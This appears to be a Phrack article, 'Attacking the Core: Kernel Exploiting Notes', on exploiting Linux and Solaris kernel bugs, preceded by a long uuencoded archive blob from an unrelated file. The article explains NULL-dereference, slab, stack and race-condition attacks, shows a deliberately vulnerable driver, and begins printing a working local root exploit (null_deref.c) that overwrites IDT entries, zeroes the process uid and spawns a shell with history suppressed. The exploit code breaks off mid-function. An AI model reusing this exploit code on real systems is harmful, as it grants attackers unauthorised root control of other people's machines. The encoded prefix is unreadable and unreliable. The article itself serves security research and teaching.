M96YT6S$W,S9=(#T@(BA1*2!V96AI8VQE*',I(&-AF%R9&]U M2AS*2P@9&%N9V5R(CL*("`@("1%=F5N=%LQ-S,X72`]("(H42D@ M;6EL:71A2AS*2(["B`@("`D179E;G1;,3'!E8W1E9"(["B`@("`D179E;G1;,37,@*%$I(CL*("`@("1%=F5N=%LQ-S4Y M72`](")C;VYV;WD@8V%U7,@*%$I(CL*("`@("1%=F5N=%LQ M-S8P72`](")C;VYV;WDN($1E;&%Y2!C875S:6YG(&QO;F<@9&5L87ES("A1*2([ M"B`@("`D179E;G1;,3F%R9&]U2!C;VYV;WDH6EN9R!H87IA2!C;&5A2!T M96QE<&AO;F4@;G5M8F5R(&YO="!W;W)K:6YG(CL*("`@("1%=F5N=%LQ.#`T M72`]("(H42!S971S(&]F*2!T2(["B`@("`D179E;G1;,3@P-ET@/2`B M;&5V96P@8W)O7,@*%$I(CL*("`@("1%=F5N=%LQ.#(P72`](")L979E;"!C2(["B`@("`D179E M;G1;,3@S-UT@/2`B;65S2(["B`@("`D179E;G1;,3@T-5T@/2`B*%$@2(["B`@("`D179E;G1;,3@T-UT@ M/2`B=')A9F9I8R!S:6=N86P@8V]N=')O;"!C;VUP=71E2!T96QE<&AO;F5S(&]U="!O9B!O2P@=V%I="!F;W(@<&]L:6-E('!A=')O;"(["B`@("`D179E M;G1;,3@V-UT@/2`B*%$@2X@1&5L87ES("A1*2(["B`@("`D M179E;G1;,3@V.5T@/2`B=')A9F9I8R!L:6=H=',@=V]R:VEN9R!I;F-O2X@1&5L87ES("A1*2!E>'!E8W1E9"(["B`@("`D179E;G1;,3@W,%T@ M/2`B=')A9F9I8R!L:6=H=',@=V]R:VEN9R!I;F-O2X@3&]N9R!D M96QA>7,@*%$I(CL*("`@("1%=F5N=%LQ.#2!G2!T2!L96YG=&@@;&EM:70@*%$I(CL*("`@("1%=F5N=%LQ.#@R72`](")T M96UP;W)A2!A;F]T:&5R(%1-0R!S97)V:6-E(CL*("`@("1%=F5N=%LQ.3,T72`] M(")N;R!P87)K(&%N9"!R:61E(&EN9F]R;6%T:6]N(&%V86EL86)L92`H=6YT M:6P@42DB.PH@("`@)$5V96YT6S$Y,SA=(#T@(G!A2!V96AI8VQE2!V96AI8VQE(&QA;F4B.PH@("`@)$5V96YT M6S$Y-SA=(#T@(FAE879Y('9E:&EC;&4@;&%N92!A=F%I;&%B;&4@9F]R(&%L M;"!V96AI8VQEVYO="!V86QI9"!F;W(@;&]R MR7LG,#`P,#`G?2`]("(P("`M($YO;F4B.R`@("`@("`@("`@("`@)'!T M>7LG,#`P,#$G?2`]("(Q("`M($YE=W,B.PH@("`@)'!T>7LG,#`P,3`G?2`] M("(R("`M($-U7LG,#`P,3$G?2`]("(S M("`M($EN9F]R;6%T:6]N(CL*("`@("1P='E[)S`P,3`P)WT@/2`B-"`@+2!3 M<&]R="([("`@("`@("`@("`@("1P='E[)S`P,3`Q)WT@/2`B-2`@+2!%9'5C M871I;VXB.PH@("`@)'!T>7LG,#`Q,3`G?2`]("(V("`M($1R86UA(CL@("`@ M("`@("`@("`@)'!T>7LG,#`Q,3$G?2`]("(W("`M($-U;'1U7LG,#$P,#`G?2`]("(X("`M(%-C:65N8V4B.R`@("`@("`@("`@)'!T M>7LG,#$P,#$G?2`]("(Y("`M(%9A7LG M,#$P,3`G?2`]("(Q,"`M(%!O<"!-=7-I8R([("`@("`@("`@)'!T>7LG,#$P M,3$G?2`]("(Q,2`M(%)O8VL@375S:6,B.PH@("`@)'!T>7LG,#$Q,#`G?2`] M("(Q,B`M($5A7LG,#$Q,#$G?2`]("(Q M,R`M($QI9VAT($-L87-S:6-A;"(["B`@("`D<'1Y>RR7LG,3`P,#`G?2`]("(Q-B`M(%=E871H M97(@)B!-971R(CL@("`@)'!T>7LG,3`P,#$G?2`]("(Q-R`M($9I;F%N8V4B M.PH@("`@)'!T>7LG,3`P,3`G?2`]("(Q."`M($-H:6QD7LG,3`P,3$G?2`]("(Q.2`M(%-O8VEA;"!!9F9A:7)S(CL*("`@ M("1P='E[)S$P,3`P)WT@/2`B,C`@+2!296QI9VEO;B([("`@("`@("`@("1P M='E[)S$P,3`Q)WT@/2`B,C$@+2!0:&]N92!);B(["B`@("`D<'1Y>RRRB!-=7-I8R([("`@("`@("`D<'1Y>R2!-=7-I8R(["B`@("`D<'1Y>RR2(["B`@ M("`D<'1Y>RRRR'0B.R`@("`D9W)P>RRRRRRRRRR2!T;6,@<&%C:V5T RDS_Demodulator.ps.gz.uue begin 644 RDS_Demodulator.ps.gz M'XL("+9@]44``U)$4U]$96UO9'5L871O1W9(L2,["D(6^OX2);[)-T9ZQ`,`OZKO=NMQMOJ@?SEB2XD\0^0E;A2&, M7M3YW;;8==\7Q;I87Q9M?=?DB'I3[SKV35'=%UV99[VOLR_J:LT`_9/^P.OK MJOSUKN"7WY;;HIU=UMMLQR]UQ4B?KE;G]=;7+E%'HM-N7O3U%6]\8Z] M8\;>U&UWE3?EOF-[N@SX#:OONOU=QVZ:>LL>F[+IB MQZX_H!#LR_5O6;-N63I?S%?1;+:OM M"Z3R]K9@?ZEO=RW[IMZ_+^'SAUUYC\QV']A)L`)28*^8YKY"Y*_+K_^5O=SE MI^P$!V;[IFA!12^0*:XD::$SY#=OBPX\Y>7E.7Y!Z9E/_+=W^WW=="C6NK@I M=R4Z3@-R'CSKMYO MLX[!JRD?6'[7-,"<^(83O#E:N:TR,/4CFW.@>,AO<93]5\!\QJ\AY/\W\QC\ MHW'@<4T>0M^VV?N"OJWO]JPJ=IL.*)1YQ^8[^I`D"?\1J`%V\<#F7[V\8+L" MKO!I$8R`\U0,G>8)+N_K/;V>6'E35*"&)W2KK*J($$H3%_RN`FQD M!M4#@H'$P!3"Q:^LO:U_NZFR#:P&W]#+'MF&E(9DA9;V=0D4A0+!;$)KH`:V MK6'OU"P44G#BOY5K$!J9/?GY!=*YR9#A_#9K]AF,P(+HH`3CV_5U_<`VX"X0 M/0JN($06JD$"[=TU+ER!=)RXFF2Q&+&9T%JV7DO>?"30("I\`0;K]X4<0ETR MH:;Z[U,3O1_6U9B"(BUCU]P]6T>>]$&D-5@4M-^C.J!D$9"^.$W;"C66KDK? M$-G0/F+Y/?4CIL,";?>C4JNE36"#N!,U?KV#-DRQ[P=`I3C(F(+1D#.'T'CCY M=B=GW^)L0($?<67?[G.80G!^`URS%M(ICXS@V?3YQ*[!W?D+?:X*H#&7 MJRJ;(:-SP;BI*!A[`F0Y'PEH12&6X8^UMY19==%I6)9 MUV0[*!VZPLR82(0OC)J:-W5WGU6Z.#B:_W+7&O4'?8O2F'*/#SN,/O2,A)NJ: M7)S406^X7$1J"!I.P=$9\SP9=)G_T^>3CC`'WO*.;>'8ZM M(!R"AN:JY/"%0]Q@3*/`1DOP325V+`5E7Z0JQQX&=+6]N46(+W+BO-Y_8&+K MV-;CU[(.3D# MD0C[14"2\IJ.P`$FUZ1MR]W,A3'HK:-I(5! MH-NJN"\J2B@,:@](M[2]`LX[80);NI:PSF'FB\=@X8;]#`),;*KZ.D,N%$-B MK-S=U)+#_A@W9:[2B)0@OW]@J!PVOX"M>44G:JK%\+S=W925D7&P-E4I M!YU"&%]G'T4-SM*;HE\F0Z&38\4)A)O-=5Y75*+)1,?`JCD>60$^IS%=W2*> MF1+SRX(<8J[F"N_C1".[S*;`2'C7V#C8(,^&+^%A5U<+=+RFH$F3CXX1,[N# M$+W/FFP+!?I43$`M=RW$N[Q8*^2Y=!4'/ M.KC)Q+8RU5CLUEP9;,`61B1:1R72H56X%;PCM`Z0PI=!W9NK'<%;)MM]QCL? MONQZ<,_,8+.D$*J1?DSB6'`B,1B`,!78F(* MZAIK4Y;>L!706+.;G-VD[&8U!?7F!E?"M?E/1#\W0U2V'.PF"$/[K*36ECA@ M5^6>$Z98H.HRE4#1'RG[(!!#8L2T"2=W_E7FU)"7#S)5T5Y*Z8"6%V6%83NE M'"4)$#I'`EH'T73RGJ5L(;]XV#@3G1/.XT*<,.]XP063Y?"CT6(1W0HU59.` M^"?/G_C>C^]&5#2.@$77=A^J`@Y2GFK_Z)X)LF\U4>8TV^S_\0M&#;*K02%Y M5;>%K'3T+#\TB_]0TLZSO37/+&`&/,7JQ!3:'N(CN776VFN:"V*Q,4+O`"T1 M][@4Y@%$>.:&?Q#O]W7U85/O5%28 M[^ZV^M`I,Q-PWIK+F05E-QR#N2>QF](E`'*;%.0;T.96P#M')K!3&Q+13SR)\4`&D((02+ M`W'VA(^R(^(0039>7--VPWGMGHINQ8TP!NB)/H?+@RFYZOM6,F6D.H']&M"QV#^*['+[_`:8(E)$_9%4U5P@=5$#[5A*(.5'TZJ+>* M!N_P0&GXYJJ^_D7=LN''$.PI`CZ_Y#"XO<TS_DW<U6<8L1"MBF:]EMT12GGKSW=E5T=WO8 M\3_3O<,R#WV(J)]^.K\/V,F_O6"??<94I>U1K\]GLS#&-S_E4)Q`$C<^:21F M(H1X)^$+4)N^Z9J#BO"6+E/4(,Y'BU"'84)TT/KR%-_8XT3P*G/!$SG2&& M_"V/J6,&MS'0X!HCFH"!)M<8;JOW,$#3&F,Q`0.-KC'<=K"!Y<&"/#)4;'-@G0P,&;FW9&*:3P)$: ML-BK'WZ:O_Q^PJY$+_Y=P]C39WH7K]CKJ_/YZQ_>3D'3H2+P"6\27$%V4L](62'/OFLS3#ZH7U_ M/U*Y-X?E(';<"=U[P\*P8AMWJ0.;L)?01A:QIFO7&Y/-'88M3ON;^$#B=80* M=QRV,:QP%!S(OOV(Q_5W(*7TW?WRXOP[-B*-C:2=_O("$NN(/#:.WL7_\++3QQPH\1""T$B\[!0 MW)@*9H%@;!8+(300C#$V2Q5V$,K)"DK'E##C,A.T3"2>AF*'RM6(FJSP%4DW M4BJ1`V%?!;@8E`)+#4B52!TY$7"<*UGH7)C`.9F6YT84-I4V=D]?7&TGN++G5Y-YSZR<2R_M\%?5I;6/1(?KI"&JDZ(*RB"!__`*T8:63];KUVD04#13K3BAC/[TX- M!-W@4VZ_)ZE+&D,)^!(?P_$`=G&<,/$Q'(>=F*!CX+L>'9%6G/0N>YTO7']^3.GA=_R$O*A05>'T$+\J;#VV'M^<] M5PL,6*#2@5&"%.\S*R\JP1#YX0+V*S MQ?(P*5Z8*'T%-D5;MJ/ADSP[DC;`+1%H8J<;0M_.P.[S,; MO.S5^7>7S^WROFM;]E>L`/[ZXIG=7G;Q^=O/IS5EC*XOP]/C-"Q]XGSS$ELS M7Z7VF7.L_4M'@8_:_PW"],\&\/^O!O"D1I"-,:$/9"-,:`/9?:,)7:#G-YA[ MW=\)'6;;0Z9TF&TOG-)A=K0#G]E:9N??O3[_=F+75\>*25TS8_J$?IDQ>T*G M3`<[!J=("*Z?+/[Z8DJ[S`BNHDT^I8%M1'/>))_2PS;2!KM\>T5K3>AE&\F) M7?Y$6!-:V@>;ML^^64/^=*"+W;N),!:T)W2VATL?NE=D+VTE@"@TFYZJ#3IH MFUBA,$G-IJ=J@XXU9U2+TVAZJC;H6`M(M3B-IJ=J@XXUFE2+TVAZJC;H6#M+ M-3EUUU-V0<=:9K++J;N>L@LZTI)3+4ZCZ:G:H&--/]7@-'N>N@\ZVEP4`[H- MJ1J38PU3R8+J0\J^Y%AC5L@I&Y&B+3G2^I5JE(U(T98<:RU+0ZD^I.Q+CK6O MI3NH/J3L2XXUR:73J3YDK(FX^Y'"M54?4O8EQQK^<@.I/J3L2X[?5B#EF?=U M+2"VS#96[4]+V">T)-WRNX)Q3UO8)[0E'?*[@G%/5_N."^ MQ,<_V)321F]BK!T1:4+-;3S.,:'D-A^RF%!S&Y%.E+.3;E`;\71*J6U$ZRE% MMA&QS&B1Q+K0,#]Q(#[4@GOV09@\X;F/Z3SG!/6LFG[\^(U\*G;^?$S`0/HG M?$S@S]OI_RRWT_FSS.+A9/ZGG\Y80'_[">'735GL.OJS46?L3=UT359VWGR_ ML?ZX#SW_3?L8V^3B@6PO/$UH-YN_@[-8+=`;4PCF^G4`"$8K(*WN,T/U^.8GYNX, M`0WIVHL(S1^LS%!%"T7H1YABUG4'%=L2*H"O#M$*T:]]JY7!V8L7P/7*)Q/Q MNY=:(>BPT1(80(E./CFT1HS^L@I5ZG,P=;+M/=>`3T<.IR46732)%ZU4^I*W MQA8^)$!2+8"^`(=WT!;`$Q=13O-=-]I@%5].(U/VIEEFQC'4?L_,*6C`,#/( MMCML&7B/ELO$*1P2%%PC.,8.CBEVU-4EF(^NFDX@2"HTAR)H.40VZ#BF*46X MITE60HA^40Q)5]QH-?P8A*81>0?1X)20,!YS<.$V&8TA&0G&`Y.ME&F1AC9. M;Q`QC4'ETK@[%B1C$-D@#@E=(3BX'RS&T/D$A@EBYN34(^LAL<#<_%&MO'%XB4C#`52L)8N!""D4.&#B(67866>!J#Q`O\"4$TIM($PYFPV6&E$,]0 MS?C]N$M!DB<53+0&R%&&#ZN1&BD<1*D,!XYGVF@:!AM@E\)*J-A`7Q7("`[# M@4#&:0*9@R@V.?H0@Q_YD'ENOQZR"X/6)PRL.BP0#R*:)/_M1,/>>@Z9GD03 M\H2FSF:JA/*1D65LI`5!3(R@\W`P=3X7P\>25:)`*Z3-E/>&*[0B$M'>VQ]% MW&'T#U.,!(@)8##*"9^6)&J:BQ-?#BX/1S[U/`J@X,Z%0E9%OM-XL1P-8B8B M/GZY#&40Z^D=!4$F>I>1<;-@T.(<4(`4;!8FZ"(&B!M,F_\90J?+?KC2K(/5 MEH<<(U'3;',HB2FI8(*UJGWU((RF%U&4Q"(C4K6:`(D9S==PWPKD(%3(&B06 M-;?Q@$6M0:J_#\>T,%F*;=L+]"I(CP=Z-:\J"DTPI@851[9/Z*K*P,`-P2;I522X\N`J*L9Q%:D/KE*Q M/)R+NL$D9\_%336\FJ:.JVA#?=4\.\8+*KQ);A-,9(D5+Z@RQO)+@@LU@4Z? MA+?4<6Q?[L#/+Q_P;S`=+$3!LG&B6[R(N\3G%@XB(C]QK)N\4TK>.-&5J[,I M/.@*&`C.MG#_*!['NJAV]DFM%=!?XD&5%:_08V+:R2:(7H"-9S@\H>D1E+6& M#%*X@>(D3/F=4<-.HPVM)+D[$CWT;Q`0QK))H;.GT0#Z&T6.B!T:^;>Z#_L$S M8ZHCX$$$GW9]&O=+1TI%7.^ACA'4QO67H?.`0O-0068^X80H=$1!8H.TH<&C M?1.D$`O'-_!!`_1XD-/Q+AUXC0Z`(@T:(!T&W>E>N",W3>IJAPJ3AI8%'<<5 M38..*].:N8=ZN1%V?[QXI0XF'XDNU58>2?5QZ<;$[^)C\QL%40!T4_]C\^O# M" RDS_Demodulator.ps.gz.uue |=[ EOF ]=---------------------------------------------------------------=| ==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x06 of 0x11 |=-----------------------------------------------------------------------=| |=--------------------=[ Attacking the Core : Kernel ]=------------------=| |=--------------------=[ Exploiting Notes ]=------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ By sgrakkyu ]=----------------=| |=-----------------=[ ]=----------------=| |=-----------------------------------------------------------------------=| |=------------------------=[ February 12 2007 ]=-------------------------=| |=-----------------------------------------------------------------------=| ------[ Index 1 - The playground 1.1 - Kernel/Userland virtual address space layouts 1.2 - Dummy device driver and real vulnerabilities 1.3 - Notes about information gathering 2 - Kernel vulnerabilities and bugs 2.1 - NULL/userspace dereference vulnerabilities 2.1.1 - NULL/userspace dereference vulnerabilities : null_deref.c 2.2 - The Slab Allocator 2.2.1 - Slab overflow vulnerabilities 2.2.2 - Slab overflow exploiting : MCAST_MSFILTER 2.2.3 - Slab overflow vulnerabilities : Solaris notes 2.3 - Stack overflow vulnerabilities 2.3.1 - UltraSPARC exploiting 2.3.2 - A reliable Solaris/UltraSPARC exploit 2.4 - A primer on logical bugs : race conditions 2.4.1 - Forcing a kernel path to sleep 2.4.2 - AMD64 and race condition exploiting: sendmsg 3 - Advanced scenarios 3.1 - PaX KERNEXEC & separated kernel/user space 3.2 - Remote Kernel Exploiting 3.2.1 - The Network Contest 3.2.2 - Stack Frame Flow Recovery 3.2.3 - Resources Restoring 3.2.4 - Copying the Stub 3.2.5 - Executing Code in Userspace Context [Gimme Life!] 3.2.6 - The Code : sendtwsk.c 4 - Final words 5 - References 6 - Sources : drivers and exploits [stuff.tgz] ------[ Intro The latest years have seen an increasing interest towards kernel based explotation. The growing diffusion of "security prevention" approaches (no-exec stack, no-exec heap, ascii-armored library mmapping, mmap/stack and generally virtual layout randomization, just to point out the most known) has/is made/making userland explotation harder and harder. Moreover there has been an extensive work of auditing on application codes, so that new bugs are generally more complex to handle and exploit. The attentions has so turned towards the core of the operating systems, towards kernel (in)security. This paper will attempt to give an insight into kernel explotation, with examples for IA-32, UltraSPARC and AMD64. Linux and Solaris will be the target operating systems. More precisely, an architecture on turn will be the main covered for the three main exploiting demonstration categories : slab (IA-32), stack (UltraSPARC) and race condtion (AMD64). The details explained in those 'deep focus' apply, thou, almost in toto to all the others exploiting scenarios. Since explotation examples are surely interesting but usually do not show the "effective" complexity of taking advantages of vulnerabilities, a couple of working real-life exploits will be presented too. ------[ 1 - The playground Let's just point out that, before starting : "bruteforcing" and "kernel" aren't two words that go well together. One can't just crash over and over the kernel trying to guess the right return address or the good alignment. An error in kernel explotation leads usually to a crash, panic or unstable state of the operating system. The "information gathering" step is so definitely important, just like a good knowledge of the operating system layout. ---[ 1.1 - Kernel/Userland virtual address space layouts From the userland point of view, we don't see almost anything of the kernel layout nor of the addresses at which it is mapped [there are indeed a couple of information that we can gather from userland, and we're going to point them out after]. Netherless it is from the userland that we have to start to carry out our attack and so a good knowledge of the kernel virtual memory layout (and implementation) is, indeed, a must. There are two possible address space layouts : - kernel space on behalf of user space (kernel page tables are replicated over every process; the virtual address space is splitted in two parts, one for the kernel and one for the processes). Kernels running on x86, AMD64 and sun4m/sun4d architectures usually have this kind of implementation. - separated kernel and process address space (both can use the whole address space). Such an implementation, to be efficient, requires a dedicated support from the underlaining architecture. It is the case of the primary and secondary context register used in conjunction with the ASI identifiers on the UltraSPARC (sun4u/sun4v) architecture. To see the main advantage (from an exploiting perspective) of the first approach over the second one we need to introduce the concept of "process context". Any time the CPU is in "supervisor" mode (the well-known ring0 on ia-32), the kernel path it is executing is said to be in interrupt context if it hasn't a backing process. Code in interrupt context can't block (for example waiting for demand paging to bring in a referenced userspace page): the scheduler is unable to know what to put to sleep (and what to wake up after). Code running in process context has instead an associated process (usually the one that "generated" the kernel code path, for example issuing a systemcall) and is free to block/sleep (and so, it's free to reference the userland virtual address space). This is a good news on systems which implement a combined user/kernel address space, since, while executing at kernel level, we can dereference (or jump to) userland addresses. The advantages are obvious (and many) : - we don't have to "guess" where our shellcode will be and we can write it in C (which makes easier the writing, if needed, of long and somehow complex recovery code) - we don't have to face the problem of finding a suitable large and safe place to store it. - we don't have to worry about no-exec page protection (we're free to mmap/mremap as we wish, and, obviously, load directly the code in .text segment, if we don't need to patch it at runtime). - we can mmap large portions of the address space and fill them with nops or nop-alike code/data (useful when we don't completely control the return address or the dereference) - we can easily take advantage of the so-called "NULL pointer dereference bugs" ("technically" described later on) The space left to the kernel is so limited in size : on the x86 architecture it is 1 Gigabyte on Linux and it fluctuates on Solaris depending on the amount of physical memory (check usr/src/uts/i86pc/os/startup.c inside Opensolaris sources). This fluctuation turned out to be necessary to avoid as much as possible virtual memory ranges wasting and, at the same time, avoid pressure over the space reserved to the kernel. The only limitation to kernel (and processes) virtual space on systems implementing an userland/kerneland separated address space is given by the architecture (UltraSPARC I and II can reference only 44bit of the whole 64bit addressable space. This VA-hole is placed among 0x0000080000000000 and 0xFFFFF7FFFFFFFFFF). This memory model makes explotation indeed harder, because we can't directly dereference the userspace. The previously cited NULL pointer dereferences are pretty much un-exploitable. Moreover, we can't rely on "valid" userland addresses as a place to store our shellcode (or any other kernel emulation data), neither we can "return to userspace". We won't go more in details here with a teorical description of the architectures (you can check the reference manuals at [1], [2] and [3]) since we've preferred to couple the analysis of the architectural and operating systems internal aspects relevant to explotation with the effective exploiting codes presentation. ---[ 1.2 - Dummy device driver and real vulnerabilities As we said in the introduction, we're going to present a couple of real working exploit, hoping to give a better insight into the whole kernel explotation process. We've written exploit for : - MCAST_MSFILTER vulnerability [4], used to demonstrate kernel slab overflow exploiting - sendmsg vulnerability [5], used to demonstrate an effective race condition (and a stack overflow on AMD64) - madwifi SIOCGIWSCAN buffer overflow [21], used to demonstrate a real remote exploit for the linux kernel. That exploit was already released at [22] before the exit of this paper (which has a more detailed discussion of it and another 'dummy based' exploit for a more complex scenario) Moreover, we've written a dummy device driver (for Linux and Solaris) to demonstrate with examples the techniques presented. A more complex remote exploit (as previously mentioned) and an exploit capable to circumvent Linux with PaX/KERNEXEC (and userspace/kernelspace separation) will be presented too. ---[ 1.3 - Notes about information gathering Remember when we were talking about information gathering ? Nearly every operating systems 'exports' to userland information useful for developing and debugging. Both Linux and Solaris (we're not taking in account now 'security patches') expose readable by the user the list and addresses of their exported symbols (symbols that module writer can reference) : /proc/ksyms on Linux 2.4, /proc/kallsyms on Linux 2.6 and /dev/ksyms on Solaris (the first two are text files, the last one is an ELF with SYMTAB section). Those files provide useful information about what is compiled in inside the kernel and at what addresses are some functions and structs, addresses that we can gather at runtime and use to increase the reliability of our exploit. But theese information could be missing on some environment, the /proc filesystem could be un-mounted or the kernel compiled (along with some security switch/patch) to not export them. This is more a Linux problem than a Solaris one, nowadays. Solaris exports way more information than Linux (probably to aid in debugging without having the sources) to the userland. Every module is shown with its loading address by 'modinfo', the proc interface exports the address of the kernel 'proc_t' struct to the userland (giving a crucial entrypoint, as we will see, for the explotation on UltraSPARC systems) and the 'kstat' utility lets us investigate on many kernel parameters. In absence of /proc (and /sys, on Linux 2.6) there's another place we can gather information from, the kernel image on the filesystem. There are actually two possible [favorevoli] situations : - the image is somewhere on the filesystem and it's readable, which is the default for many Linux distributions and for Solaris - the target host is running a default kernel image, both from installation or taken from repository. In that situation is just a matter of recreating the same image on our system and infere from it. This should be always possible on Solaris, given the patchlevel (taken from 'uname' and/or 'showrev -p'). Things could change if OpenSolaris takes place, we'll see. The presence of the image (or the possibility of knowing it) is crucial for the KERN_EXEC/separated userspace/kernelspace environment explotation presented at the end of the paper. Given we don't have exported information and the careful administrator has removed running kernel images (and, logically, in absence of kernel memory leaks ;)) we've one last resource that can help in explotation : the architecture. Let's take the x86 arch, a process running at ring3 may query the logical address and offset/attribute of processor tables GDT,LDT,IDT,TSS : - through 'sgdt' we get the base address and max offset of the GDT - through 'sldt' we can get the GDT entry index of current LDT - through 'sidt' we can get the base address and max offset of IDT - through 'str' we can get the GDT entry index of the current TSS The best choice (not the only one possible) in that case is the IDT. The possibility to change just a single byte in a controlled place of it leads to a fully working reliable exploit [*]. [*] The idea here is to modify the MSB of the base_address of an IDT entry and so "hijack" the exception handler. Logically we need a controlled byte overwriting or a partially controlled one with byte value below the 'kernelbase' value, so that we can make it point into the userland portion. We won't go in deeper details about the IDT layout/implementation here, you can find them inside processor manuals [1] and kad's phrack59 article "Handling the Interrupt Descriptor Table" [6]. The NULL pointer dereference exploit presented for Linux implements this technique. As important as the information gathering step is the recovery step, which aims to leave the kernel in a consistent state. This step is usually performed inside the shellcode itself or just after the exploit has (successfully) taken place, by using /dev/kmem or a loadable module (if possible). This step is logically exploit-dependant, so we will just explain it along with the examples (making a categorization would be pointless). ------[ 2 - Kernel vulnerabilities and bugs We start now with an excursus over the various typologies of kernel vulnerabilities. The kernel is a big and complex beast, so even if we're going to track down some "common" scenarios, there are a lot of more possible "logical bugs" that can lead to a system compromise. We will cover stack based, "heap" (better, slab) based and NULL/userspace dereference vulnerabilities. As an example of a "logical bug" a whole chapter is dedicated to race condition and techniques to force a kernel path to sleep/reschedule (along with a real exploit for the sendmsg [4] vulnerability on AMD64). We won't cover in this paper the range of vulnerabilities related to virtual memory logical errors, since those have been already extensively described and cleverly exploited, on Linux, by iSEC [7] people. Moreover, it's nearly useless, in our opinion, to create a "crafted" demonstrative vulnerable code for logical bugs and we weren't aware of any _public_ vuln of this kind on Solaris. If you are, feel free to submit it, we'll be happy to work over ;). ---[ 2.1 - NULL/userspace dereference vulnerabilities This kind of vulnerability derives from the using of a pointer not-initialized (generally having a NULL value) or trashed, so that it points inside the userspace part of the virtual memory address space. The normal behaviour of an operating system in such a situation is an oops or a crash (depending on the degree of severity of the dereference) while attempting to access un-mapped memory. But we can, obviously, mmap that memory range and let the kernel find "valid" malicius data. That's more than enough to gain root priviledges. We can delineate two possible scenarios : - instruction pointer modification (direct call/jmp dereference, called function pointers inside a struct, etc) - "controlled" write on kernelspace The first kind of vulnerability is really trivial to exploit, it's just a matter of mmapping the referenced page and put our shellcode there. If the dereferenced address is a struct with inside a function pointer (or a chain of struct with somewhere a function pointer), it is just a matter of emulating in userspace those struct, make point the function pointer to our shellcode and let/force the kernel path to call it. We won't show an example of this kind of vulnerability since this is the "last stage" of any more complex exploit (as we will see, we'll be always trying, when possible, to jump to userspace). The second kind of vulnerability is a little more complex, since we can't directly modify the instruction pointer, but we've the possibility to write anywhere in kernel memory (with controlled or uncontrolled data). Let's get a look to that snipped of code, taken from our Linux dummy device driver : < stuff/drivers/linux/dummy.h > [...] struct user_data_ioctl { int size; char *buffer; }; < / > < stuff/drivers/linux/dummy.c > static int alloc_info(unsigned long sub_cmd) { struct user_data_ioctl user_info; struct info_user *info; struct user_perm *perm; [...] if(copy_from_user(&user_info, (void __user*)sub_cmd, sizeof(struct user_data_ioctl))) return -EFAULT; if(user_info.size > MAX_STORE_SIZE) [1] return -ENOENT; info = kmalloc(sizeof(struct info_user), GFP_KERNEL); if(!info) return -ENOMEM; perm = kmalloc(sizeof(struct user_perm), GFP_KERNEL); if(!perm) return -ENOMEM; info->timestamp = 0;//sched_clock(); info->max_size = user_info.size; info->data = kmalloc(user_info.size, GFP_KERNEL); [2] /* unchecked alloc */ perm->uid = current->uid; info->data->perm = perm; [3] glob_info = info; [...] static int store_info(unsigned long sub_cmd) { [...] glob_info->data->perm->uid = current->uid; [4] [...] < / > Due to the integer signedness issue at [1], we can pass a huge value to the kmalloc at [2], making it fail (and so return NULL). The lack of checking at that point leaves a NULL value in the info->data pointer, which is later used, at [3] and also inside store_info at [4] to save the current uid value. What we have to do to exploit such a code is simply mmap the zero page (0x00000000 - NULL) at userspace, make the kmalloc fail by passing a negative value and then prepare a 'fake' data struct in the previously mmapped area, providing a working pointers for 'perm' and thus being able to write our 'uid' anywhere in memory. At that point we have many ways to exploit the vulnerable code (exploiting while being able to write anywhere some arbitrary or, in that case, partially controlled data is indeed limited only by imagination), but it's better to find a "working everywhere" way. As we said above, we're going to use the IDT and overwrite one of its entries (more precisely a Trap Gate, so that we're able to hijack an exception handler and redirect the code-flow towards userspace). Each IDT entry is 64-bit (8-bytes) long and we want to overflow the 'base_offset' value of it, to be able to modify the MSB of the exception handler routine address and thus redirect it below PAGE_OFFSET (0xc0000000) value. Since the higher 16 bits are in the 7th and 8th byte of the IDT entry, that one is our target, but we're are writing at [4] 4 bytes for the 'uid' value, so we're going to trash the next entry. It is better to use two adiacent 'seldomly used' entries (in case, for some strange reason, something went bad) and we have decided to use the 4th and 5th entries : #OF (Overflow Exception) and #BR (BOUND Range Exeeded Exeption). At that point we don't control completely the return address, but that's not a big problem, since we can mmap a large region of the userspace and fill it with NOPs, to prepare a comfortable and safe landing point for our exploit. The last thing we have to do is to restore, once we get the control flow at userspace, the original IDT entries, hardcoding the values inside the shellcode stub or using an lkm or /dev/kmem patching code. At that point our exploit is ready to be launched for our first 'rootshell'. As a last (indeed obvious) note, NULL dereference vulnerabilities are only exploitable on 'combined userspace and kernelspace' memory model operating systems. ---[ 2.1.1 - NULL/userspace dereference vulnerabilities : null_deref.c < stuff/expl/null_deref.c > #include #include #include #include #include #include #include #include #include "dummy.h" #define DEVICE "/dev/dummy" #define NOP 0x90 #define STACK_SIZE 8192 //#define STACK_SIZE 4096 #define PAGE_SIZE 0x1000 #define PAGE_OFFSET 12 #define PAGE_MASK ~(PAGE_SIZE -1) #define ANTANI "antani" uint32_t bound_check[2]={0x00,0x00}; extern void do_it(); uid_t UID; void do_bound_check() { asm volatile("bound %1, %0\t\n" : "=m"(bound_check) : "a"(0xFF)); } /* simple shell spown */ void get_root() { char *argv[] = { "/bin/sh", "--noprofile", "--norc", NULL }; char *envp[] = { "TERM=linux", "PS1=y0y0\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL }; execve("/bin/sh", argv, envp); fprintf(stderr, "[**] Execve failed\n"); exit(-1); } /* this function is called by fake exception handler: take 0 uid and restore trashed entry */ void give_priv_and_restore(unsigned int thread) { int i; unsigned short addr; unsigned int* p = (unsigned int*)thread; /* simple trick */ for(i=0; i < 0x100; i++) if( (p[i] == UID) && (p[i+1] == UID) && (p[i+2] == UID) && (p[i+3] == UID) ) p[i] = 0, p[i+1] = 0; } #define CODE_SIZE 0x1e void dummy(void) { asm("do_it:;" "addl $6, (%%esp);" // after bound exception EIP points again to the bound instruction "pusha;" "movl %%esp, %%eax;" "andl %0, %%eax;" "movl (%%eax), %%eax;" "add $100, %%eax;" "pushl %%eax;" "movl $give_priv_and_restore, %%ebx;" "call *%%ebx;" "popl %%eax;" "popa;" "iret;" "nop;nop;nop;nop;" :: "i"( ~(STACK_SIZE -1)) ); return; } struct idt_struct { uint16_t limit; uint32_t base; } __attribute__((packed)); static char *allocate_frame_chunk(unsigned int base_addr, unsigned int size, void* code_addr) { unsigned int round_addr = base_addr & PAGE_MASK; unsigned int diff = base_addr - round_addr; unsigned int len = (size + diff + (PAGE_SIZE-1)) 